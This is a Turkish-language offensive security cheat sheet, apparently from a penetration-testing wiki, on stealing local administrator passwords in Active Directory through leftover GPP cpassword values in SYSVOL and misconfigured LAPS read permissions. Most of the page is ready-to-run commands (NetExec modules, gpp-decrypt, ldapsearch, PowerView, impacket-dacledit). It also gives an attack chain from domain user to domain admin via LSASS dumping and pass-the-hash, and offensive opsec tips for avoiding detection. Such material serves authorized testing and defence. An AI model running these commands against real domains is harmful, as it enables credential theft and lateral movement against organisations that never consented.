GPP Parolaları & LAPS
ATT&CK T1552.006 difficulty: kolay
Domain’de yerel yönetici parolaları iki yaygın yerde sızabilir: eski Group Policy Preferences (GPP) dosyalarındaki AES ile “şifrelenmiş” cpassword ve yanlış yapılandırılmış LAPS (legacy ms-Mcs-AdmPwd veya Windows LAPS msLAPS-Password) okuma ACL’leri. Her ikisi de düşük yetkili domain kullanıcısıyla başlar.
GPP cpassword (SYSVOL)
Section titled “GPP cpassword (SYSVOL)”Microsoft’un GPP parola şifreleme anahtarı (AES-256) yayımlanmıştır; cpassword geri çözülür. MS14-025 sonrası yeni GPP parola ekleme engellendi ama eski XML’ler SYSVOL’de kalabilir.
-
SYSVOL’de ara — Authenticated Users genelde okuyabilir: Tipik dosyalar: Groups.xml , Services.xml , ScheduledTasks.xml , DataSources.xml , Printers.xml , Drives.xml .
Terminal window smbclient //dc01.domain.local/SYSVOL -U 'domain.local/user%Pass123'Terminal window findstr /S /I cpassword \\domain.local\SYSVOL\domain.local\Policies\*.xmlTerminal window nxc smb DC -u user -p 'Pass123' -M gpp_passwordTerminal window nxc smb DC -u user -p 'Pass123' -M gpp_autologinTerminal window Get-GPPPassword -
Çöz :
Terminal window gpp-decrypt <cpassword_base64> -
Kullan — çıkan yerel admin / servis parolası ile Pass-the-Hash öncesi parola login, spray veya aynı parolanın domain hesaplarında reuse’u.
LAPS (legacy) — ms-Mcs-AdmPwd
Section titled “LAPS (legacy) — ms-Mcs-AdmPwd”LAPS, her bilgisayarda benzersiz yerel admin parolasını LDAP özniteliğinde tutar. Okuma yetkisi yanlışlıkla büyük gruplara (Domain Users) verilmişse oyun biter.
nxc ldap DC -u user -p 'Pass123' -M lapsnxc smb 10.10.10.0/24 -u user -p 'Pass123' -M lapsldapsearch -x -H ldap://DC -D 'user@domain.local' -w 'Pass' \ -b 'DC=domain,DC=local' '(ms-Mcs-AdmPwd=*)' dNSHostName ms-Mcs-AdmPwdGet-DomainComputer -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime |? { $_.['ms-Mcs-AdmPwd'] }Get-ADComputer -Identity PC01 -Properties ms-Mcs-AdmPwdGet-LapsADPassword -Identity PC01 -AsPlainTextWindows LAPS (yeni)
Section titled “Windows LAPS (yeni)”Öznitelikler: msLAPS-Password, msLAPS-PasswordExpirationTime, msLAPS-EncryptedPassword (şifreli blob — yetkili decrypt).
nxc ldap DC -u user -p 'Pass' -M lapsLAPS okuma hakkını bulma
Section titled “LAPS okuma hakkını bulma”BloodHound kenarı: ReadLAPSPassword.
Find-InterestingDomainAcl -ResolveGUIDs |? { $_.ObjectAceType -match 'ms-Mcs-AdmPwd|LAPS' }impacket-dacledit -action read -target 'PC01$' domain.local/user:'Pass'-
Okuma yetkisini bul — hangi grup ms-Mcs-AdmPwd / msLAPS-Password okuyabiliyor.
-
O gruba yolu bul — MemberOf / ACL abuse ile gruba gir veya hakkı olan hesabı ele geçir.
-
Parolayı çek ve hedefte local admin olarak exec / PtH.
Komut üreteci
Section titled “Komut üreteci”LAPS · NetExec
embedded toolnxc ldap 10.10.10.5 -u user -p Pass123 -M lapsLAPS · NetExec
Section titled “LAPS · NetExec”Saldırı zinciri
Section titled “Saldırı zinciri”Domain user → nxc -M gpp_password → local admin pass on FILE01 → SMB Pwn3d → LSASS → DA session
veya:Helpdesk group → ReadLAPSPassword on Servers OU → LAPS on JUMP01 → RDP → dumpOpsec (ofansif)
Section titled “Opsec (ofansif)”- SYSVOL tarama düşük gürültü (normal Windows davranışı gibi maskelenebilir).
- Tüm bilgisayarlar için LAPS LDAP dump’ı belirgin olabilir — OU/hedefli çek.
- LAPS parolası rotate olur; not ettiğin parola expire olabilir — kullanınca hemen lateral.
- gpp_password bulgusu “eski” olsa da hâlâ geçerli credential olabilir.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- cpassword yok = GPP temizlenmiş; LAPS’e geç.
- LAPS özniteliği boş → bilgisayar henüz policy almamış / LAPS yok.
- Windows LAPS encrypted attribute’u düz ldapsearch ile plaintext vermez; uygun araç/decrypt hakkı gerekir.
- Yerel admin kullanıcı adı değişmiş olabilir ( Administrator değil) — LAPS account name / GPO kontrol et.
- AzURI / deny ACE — BloodHound “okunur” dese de pratikte deny üstün gelebilir.
Sonraki adımlar
Section titled “Sonraki adımlar”Pass-the-Hash · Exec methods · ACL Abuse · Enumeration